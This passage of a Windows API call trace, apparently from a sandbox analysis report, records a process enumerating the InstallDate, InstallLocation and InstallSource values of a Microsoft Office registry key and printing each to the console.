lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.784] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.784] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.784] lstrlenW (lpString="InstallDate") returned 11 [0147.784] __iob_func () returned 0x7fefd702a80 [0147.784] _fileno (_File=0x7fefd702ab0) returned 1 [0147.784] _errno () returned 0xc4bb0 [0147.784] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.784] _errno () returned 0xc4bb0 [0147.784] GetFileType (hFile=0x50) returned 0x1 [0147.784] lstrlenW (lpString="InstallDate") returned 11 [0147.784] GetConsoleOutputCP () returned 0x1b5 [0147.784] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallDate", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0147.784] GetConsoleOutputCP () returned 0x1b5 [0147.784] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallDate", cchWideChar=11, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="InstallDate", lpUsedDefaultChar=0x0) returned 11 [0147.784] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 11 [0147.784] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.784] __iob_func () returned 0x7fefd702a80 [0147.784] _fileno (_File=0x7fefd702ab0) returned 1 [0147.784] _errno () returned 0xc4bb0 [0147.785] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.785] _errno () returned 0xc4bb0 [0147.785] GetFileType (hFile=0x50) returned 0x1 [0147.785] lstrlenW (lpString=" ") returned 4 [0147.785] GetConsoleOutputCP () returned 0x1b5 [0147.785] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.785] GetConsoleOutputCP () returned 0x1b5 [0147.785] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.785] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.785] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.785] __iob_func () returned 0x7fefd702a80 [0147.785] _fileno (_File=0x7fefd702ab0) returned 1 [0147.785] _errno () returned 0xc4bb0 [0147.785] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.785] _errno () returned 0xc4bb0 [0147.785] GetFileType (hFile=0x50) returned 0x1 [0147.785] lstrlenW (lpString="REG_SZ") returned 6 [0147.785] GetConsoleOutputCP () returned 0x1b5 [0147.785] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0147.785] GetConsoleOutputCP () returned 0x1b5 [0147.786] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0147.786] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0147.786] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.786] __iob_func () returned 0x7fefd702a80 [0147.786] _fileno (_File=0x7fefd702ab0) returned 1 [0147.786] _errno () returned 0xc4bb0 [0147.786] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.786] _errno () returned 0xc4bb0 [0147.786] GetFileType (hFile=0x50) returned 0x1 [0147.786] lstrlenW (lpString=" ") returned 4 [0147.786] GetConsoleOutputCP () returned 0x1b5 [0147.786] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.786] GetConsoleOutputCP () returned 0x1b5 [0147.786] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.786] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.786] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.786] __iob_func () returned 0x7fefd702a80 [0147.786] _fileno (_File=0x7fefd702ab0) returned 1 [0147.786] _errno () returned 0xc4bb0 [0147.786] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.786] _errno () returned 0xc4bb0 [0147.786] GetFileType (hFile=0x50) returned 0x1 [0147.786] lstrlenW (lpString="20170927") returned 8 [0147.786] GetConsoleOutputCP () returned 0x1b5 [0147.787] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="20170927", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0147.787] GetConsoleOutputCP () returned 0x1b5 [0147.787] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="20170927", cchWideChar=8, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="20170927", lpUsedDefaultChar=0x0) returned 8 [0147.787] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0147.787] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.787] __iob_func () returned 0x7fefd702a80 [0147.787] _fileno (_File=0x7fefd702ab0) returned 1 [0147.787] _errno () returned 0xc4bb0 [0147.787] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.787] _errno () returned 0xc4bb0 [0147.787] GetFileType (hFile=0x50) returned 0x1 [0147.787] lstrlenW (lpString="\n") returned 1 [0147.788] GetConsoleOutputCP () returned 0x1b5 [0147.788] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.788] GetConsoleOutputCP () returned 0x1b5 [0147.788] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.788] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.788] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.788] GetProcessHeap () returned 0x2e0000 [0147.788] GetProcessHeap () returned 0x2e0000 [0147.788] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd1a0) returned 1 [0147.788] GetProcessHeap () returned 0x2e0000 [0147.788] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fd1a0) returned 0x16 [0147.788] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd1a0 | out: hHeap=0x2e0000) returned 1 [0147.788] RegEnumValueW (in: hKey=0x5c, dwIndex=0x7, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="InstallLocation", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.788] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallLocation", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.788] GetProcessHeap () returned 0x2e0000 [0147.788] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0147.788] GetProcessHeap () returned 0x2e0000 [0147.788] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.788] GetProcessHeap () returned 0x2e0000 [0147.788] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.788] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallLocation", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x1, pvData="", pcbData=0x23f670*=0x2) returned 0x0 [0147.788] __iob_func () returned 0x7fefd702a80 [0147.788] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.788] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.788] _fileno (_File=0x7fefd702ab0) returned 1 [0147.788] _errno () returned 0xc4bb0 [0147.789] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.789] _errno () returned 0xc4bb0 [0147.789] GetFileType (hFile=0x50) returned 0x1 [0147.789] lstrlenW (lpString=" ") returned 4 [0147.789] GetConsoleOutputCP () returned 0x1b5 [0147.789] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.789] GetConsoleOutputCP () returned 0x1b5 [0147.789] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.789] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.789] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.789] lstrlenW (lpString="InstallLocation") returned 15 [0147.789] __iob_func () returned 0x7fefd702a80 [0147.789] _fileno (_File=0x7fefd702ab0) returned 1 [0147.789] _errno () returned 0xc4bb0 [0147.789] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.789] _errno () returned 0xc4bb0 [0147.789] GetFileType (hFile=0x50) returned 0x1 [0147.789] lstrlenW (lpString="InstallLocation") returned 15 [0147.789] GetConsoleOutputCP () returned 0x1b5 [0147.789] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallLocation", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0147.789] GetConsoleOutputCP () returned 0x1b5 [0147.790] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallLocation", cchWideChar=15, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="InstallLocation", lpUsedDefaultChar=0x0) returned 15 [0147.790] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 15 [0147.790] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.790] __iob_func () returned 0x7fefd702a80 [0147.790] _fileno (_File=0x7fefd702ab0) returned 1 [0147.790] _errno () returned 0xc4bb0 [0147.790] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.790] _errno () returned 0xc4bb0 [0147.790] GetFileType (hFile=0x50) returned 0x1 [0147.790] lstrlenW (lpString=" ") returned 4 [0147.790] GetConsoleOutputCP () returned 0x1b5 [0147.790] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.790] GetConsoleOutputCP () returned 0x1b5 [0147.790] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.790] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.790] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.790] __iob_func () returned 0x7fefd702a80 [0147.790] _fileno (_File=0x7fefd702ab0) returned 1 [0147.790] _errno () returned 0xc4bb0 [0147.790] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.790] _errno () returned 0xc4bb0 [0147.790] GetFileType (hFile=0x50) returned 0x1 [0147.790] lstrlenW (lpString="REG_SZ") returned 6 [0147.790] GetConsoleOutputCP () returned 0x1b5 [0147.791] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0147.791] GetConsoleOutputCP () returned 0x1b5 [0147.791] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0147.791] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0147.791] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.791] __iob_func () returned 0x7fefd702a80 [0147.791] _fileno (_File=0x7fefd702ab0) returned 1 [0147.791] _errno () returned 0xc4bb0 [0147.791] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.791] _errno () returned 0xc4bb0 [0147.791] GetFileType (hFile=0x50) returned 0x1 [0147.791] lstrlenW (lpString=" ") returned 4 [0147.791] GetConsoleOutputCP () returned 0x1b5 [0147.791] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.791] GetConsoleOutputCP () returned 0x1b5 [0147.791] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.791] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.791] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.791] __iob_func () returned 0x7fefd702a80 [0147.791] _fileno (_File=0x7fefd702ab0) returned 1 [0147.791] _errno () returned 0xc4bb0 [0147.792] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.792] _errno () returned 0xc4bb0 [0147.792] GetFileType (hFile=0x50) returned 0x1 [0147.792] lstrlenW (lpString="") returned 0 [0147.792] __iob_func () returned 0x7fefd702a80 [0147.792] _fileno (_File=0x7fefd702ab0) returned 1 [0147.792] _errno () returned 0xc4bb0 [0147.792] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.792] _errno () returned 0xc4bb0 [0147.792] GetFileType (hFile=0x50) returned 0x1 [0147.792] lstrlenW (lpString="\n") returned 1 [0147.792] GetConsoleOutputCP () returned 0x1b5 [0147.792] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.792] GetConsoleOutputCP () returned 0x1b5 [0147.792] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.792] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.792] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.792] GetProcessHeap () returned 0x2e0000 [0147.792] GetProcessHeap () returned 0x2e0000 [0147.792] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.792] GetProcessHeap () returned 0x2e0000 [0147.792] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.792] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.792] RegEnumValueW (in: hKey=0x5c, dwIndex=0x8, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="InstallSource", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.792] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallSource", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x6a) returned 0x0 [0147.792] GetProcessHeap () returned 0x2e0000 [0147.793] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6c) returned 0x2fd9a0 [0147.793] GetProcessHeap () returned 0x2e0000 [0147.793] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd9a0) returned 1 [0147.793] GetProcessHeap () returned 0x2e0000 [0147.793] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fd9a0) returned 0x6c [0147.793] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallSource", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fd9a0, pcbData=0x23f670*=0x6a | out: pdwType=0x23f5f0*=0x1, pvData="c:\\program files\\microsoft office\\root\\integration\\", pcbData=0x23f670*=0x68) returned 0x0 [0147.793] __iob_func () returned 0x7fefd702a80 [0147.793] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.793] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.793] _fileno (_File=0x7fefd702ab0) returned 1 [0147.793] _errno () returned 0xc4bb0 [0147.793] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.793] _errno () returned 0xc4bb0 [0147.793] GetFileType (hFile=0x50) returned 0x1 [0147.793] lstrlenW (lpString=" ") returned 4 [0147.793] GetConsoleOutputCP () returned 0x1b5 [0147.793] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.793] GetConsoleOutputCP () returned 0x1b5 [0147.793] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.793] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.793] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.793] lstrlenW (lpString="InstallSource") returned 13 [0147.793] __iob_func () returned 0x7fefd702a80 [0147.793] _fileno (_File=0x7fefd702ab0) returned 1 [0147.793] _errno () returned 0xc4bb0 [0147.793] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.793] _errno () returned 0xc4bb0 [0147.793] GetFileType (hFile=0x50) returned 0x1 [0147.794] lstrlenW (lpString="InstallSource") returned 13 [0147.794] GetConsoleOutputCP () returned 0x1b5 [0147.794] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallSource", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0147.794] GetConsoleOutputCP () returned 0x1b5 [0147.794] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallSource", cchWideChar=13, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="InstallSource", lpUsedDefaultChar=0x0) returned 13 [0147.794] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0147.794] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.794] __iob_func () returned 0x7fefd702a80 [0147.794] _fileno (_File=0x7fefd702ab0) returned 1 [0147.794] _errno () returned 0xc4bb0 [0147.794] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.794] _errno () returned 0xc4bb0 [0147.794] GetFileType (hFile=0x50) returned 0x1 [0147.794] lstrlenW (lpString=" ") returned 4 [0147.794] GetConsoleOutputCP () returned 0x1b5 [0147.794] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.794] GetConsoleOutputCP () returned 0x1b5 [0147.794] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.794] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.794] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.795] __iob_func () returned 0x7fefd702a80 [0147.795] _fileno (_File=0x7fefd702ab0) returned 1 [0147.795] _errno () returned 0xc4bb0 [0147.795] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.795] _errno () returned 0xc4bb0 [0147.795] GetFileType (hFile=0x50) returned 0x1 [0147.795] lstrlenW (lpString="REG_SZ") returned 6 [0147.795] GetConsoleOutputCP () returned 0x1b5 [0147.795] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0147.795] GetConsoleOutputCP () returned 0x1b5 [0147.795] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0147.795] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0147.795] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.795] __iob_func () returned 0x7fefd702a80 [0147.795] _fileno (_File=0x7fefd702ab0) returned 1 [0147.795] _errno () returned 0xc4bb0 [0147.795] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.795] _errno () returned 0xc4bb0 [0147.795] GetFileType (hFile=0x50) returned 0x1 [0147.795] lstrlenW (lpString=" ") returned 4 [0147.795] GetConsoleOutputCP () returned 0x1b5 [0147.795] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.796] GetConsoleOutputCP () returned 0x1b5 [0147.796] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.796] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.796] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.796] __iob_func () returned 0x7fefd702a80 [0147.796] _fileno (_File=0x7fefd702ab0) returned 1 [0147.796] _errno () returned 0xc4bb0 [0147.796] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.796] _errno () returned 0xc4bb0 [0147.796] GetFileType (hFile=0x50) returned 0x1 [0147.796] lstrlenW (lpString="c:\\program files\\microsoft office\\root\\integration\\") returned 51 [0147.796] GetConsoleOutputCP () returned 0x1b5 [0147.796] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="c:\\program files\\microsoft office\\root\\integration\\", cchWideChar=51, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 51 [0147.796] GetConsoleOutputCP () returned 0x1b5 [0147.796] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="c:\\program files\\microsoft office\\root\\integration\\", cchWideChar=51, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="c:\\program files\\microsoft office\\root\\integration\\", lpUsedDefaultChar=0x0) returned 51 [0147.796] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 51 [0147.796] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.796] __iob_func () returned 0x7fefd702a80 [0147.796] _fileno (_File=0x7fefd702ab0) returned 1 [0147.796] _errno () returned 0xc4bb0 [0147.796] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.796] _errno () returned 0xc4bb0 [0147.796] GetFileType (hFile=0x50) returned 0x1 [0147.796] lstrlenW (lpString="\n") returned 1 [0147.797] GetConsoleOutputCP () returned 0x1b5 [0147.797] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.797] GetConsoleOutputCP () returned 0x1b5 [0147.797] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 